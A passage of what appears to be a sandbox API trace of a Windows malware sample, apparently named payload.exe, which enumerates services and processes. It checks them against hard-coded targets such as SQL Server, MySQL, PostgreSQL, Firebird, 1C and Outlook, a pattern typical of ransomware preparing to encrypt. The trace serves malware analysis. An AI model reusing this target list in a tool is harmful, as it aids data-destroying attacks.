lpString2="iphlpsvc") returned -1 [0105.002] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0105.002] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0105.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0105.002] lstrlenW (lpString="LanmanServer") returned 12 [0105.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0105.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0105.002] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0105.002] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0105.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0105.002] lstrlenW (lpString="LanmanWorkstation") returned 17 [0105.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0105.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0105.002] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0105.002] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0105.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0105.003] lstrlenW (lpString="lmhosts") returned 7 [0105.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0105.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0105.003] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0105.003] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0105.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0105.003] lstrlenW (lpString="MMCSS") returned 5 [0105.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0105.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0105.003] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0105.003] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0105.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0105.003] lstrlenW (lpString="MpsSvc") returned 6 [0105.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0105.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0105.003] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0105.003] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0105.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0105.003] lstrlenW (lpString="Netman") returned 6 [0105.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0105.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0105.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0105.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0105.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0105.003] lstrlenW (lpString="netprofm") returned 8 [0105.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0105.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0105.003] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0105.003] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0105.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0105.003] lstrlenW (lpString="NlaSvc") returned 6 [0105.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0105.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0105.003] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0105.003] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0105.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0105.003] lstrlenW (lpString="nsi") returned 3 [0105.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0105.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0105.003] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0105.003] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0105.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0105.003] lstrlenW (lpString="PcaSvc") returned 6 [0105.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0105.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0105.003] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0105.003] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0105.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0105.003] lstrlenW (lpString="PlugPlay") returned 8 [0105.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0105.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0105.003] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0105.003] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0105.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0105.004] lstrlenW (lpString="Power") returned 5 [0105.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0105.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0105.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0105.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0105.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0105.004] lstrlenW (lpString="ProfSvc") returned 7 [0105.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0105.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0105.004] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0105.004] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0105.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0105.004] lstrlenW (lpString="RpcEptMapper") returned 12 [0105.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0105.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0105.004] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0105.004] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0105.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0105.004] lstrlenW (lpString="RpcSs") returned 5 [0105.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0105.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0105.004] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0105.004] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0105.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0105.004] lstrlenW (lpString="SamSs") returned 5 [0105.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0105.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0105.004] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0105.004] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0105.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0105.004] lstrlenW (lpString="Schedule") returned 8 [0105.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0105.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0105.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0105.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0105.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0105.004] lstrlenW (lpString="SENS") returned 4 [0105.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0105.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0105.004] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0105.004] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0105.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0105.004] lstrlenW (lpString="ShellHWDetection") returned 16 [0105.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0105.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0105.004] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0105.004] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0105.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0105.004] lstrlenW (lpString="Spooler") returned 7 [0105.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0105.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0105.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0105.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0105.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0105.004] lstrlenW (lpString="SysMain") returned 7 [0105.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0105.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0105.005] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0105.005] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0105.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0105.005] lstrlenW (lpString="Themes") returned 6 [0105.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0105.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0105.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0105.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0105.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0105.005] lstrlenW (lpString="TrkWks") returned 6 [0105.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0105.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0105.005] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0105.005] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0105.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0105.005] lstrlenW (lpString="UxSms") returned 5 [0105.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0105.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0105.005] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0105.005] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0105.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0105.005] lstrlenW (lpString="WdiServiceHost") returned 14 [0105.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0105.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0105.005] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0105.005] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0105.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0105.005] lstrlenW (lpString="WdiSystemHost") returned 13 [0105.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0105.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0105.005] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0105.005] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0105.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0105.005] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0105.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0105.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0105.005] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0105.005] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0105.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0105.005] lstrlenW (lpString="Winmgmt") returned 7 [0105.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0105.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0105.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0105.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0105.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0105.005] lstrlenW (lpString="WPDBusEnum") returned 10 [0105.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0105.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0105.005] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0105.005] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0105.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0105.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0105.006] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x188 [0105.007] Process32FirstW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.007] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0105.007] lstrlenW (lpString="System") returned 6 [0105.007] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0105.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0105.007] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0105.007] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0105.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0105.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0105.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0105.007] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0105.008] lstrlenW (lpString="smss.exe") returned 8 [0105.008] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0105.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0105.008] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0105.008] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0105.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0105.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0105.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0105.008] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.008] lstrlenW (lpString="csrss.exe") returned 9 [0105.008] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0105.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0105.008] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0105.008] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0105.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0105.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0105.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0105.008] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0105.008] lstrlenW (lpString="wininit.exe") returned 11 [0105.008] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0105.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0105.008] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0105.008] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0105.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0105.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0105.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0105.008] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.009] lstrlenW (lpString="csrss.exe") returned 9 [0105.009] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0105.009] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0105.009] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0105.009] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0105.009] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0105.009] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0105.009] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0105.009] lstrlenW (lpString="winlogon.exe") returned 12 [0105.009] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0105.009] lstrlenW (lpString="services.exe") returned 12 [0105.009] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0105.009] lstrlenW (lpString="lsass.exe") returned 9 [0105.010] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0105.010] lstrlenW (lpString="lsm.exe") returned 7 [0105.010] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.010] lstrlenW (lpString="svchost.exe") returned 11 [0105.010] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.010] lstrlenW (lpString="svchost.exe") returned 11 [0105.010] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.010] lstrlenW (lpString="svchost.exe") returned 11 [0105.010] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.011] lstrlenW (lpString="svchost.exe") returned 11 [0105.011] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.011] lstrlenW (lpString="svchost.exe") returned 11 [0105.011] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0105.011] lstrlenW (lpString="audiodg.exe") returned 11 [0105.011] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.011] lstrlenW (lpString="svchost.exe") returned 11 [0105.011] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.012] lstrlenW (lpString="svchost.exe") returned 11 [0105.012] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0105.012] lstrlenW (lpString="userinit.exe") returned 12 [0105.012] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0105.012] lstrlenW (lpString="dwm.exe") returned 7 [0105.012] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0105.012] lstrlenW (lpString="explorer.exe") returned 12 [0105.012] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0105.013] lstrlenW (lpString="spoolsv.exe") returned 11 [0105.013] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0105.013] lstrlenW (lpString="taskhost.exe") returned 12 [0105.013] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.013] lstrlenW (lpString="svchost.exe") returned 11 [0105.013] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0105.013] lstrlenW (lpString="payload.exe") returned 11 [0105.013] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0105.014] lstrlenW (lpString="reader_sl.exe") returned 13 [0105.014] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, 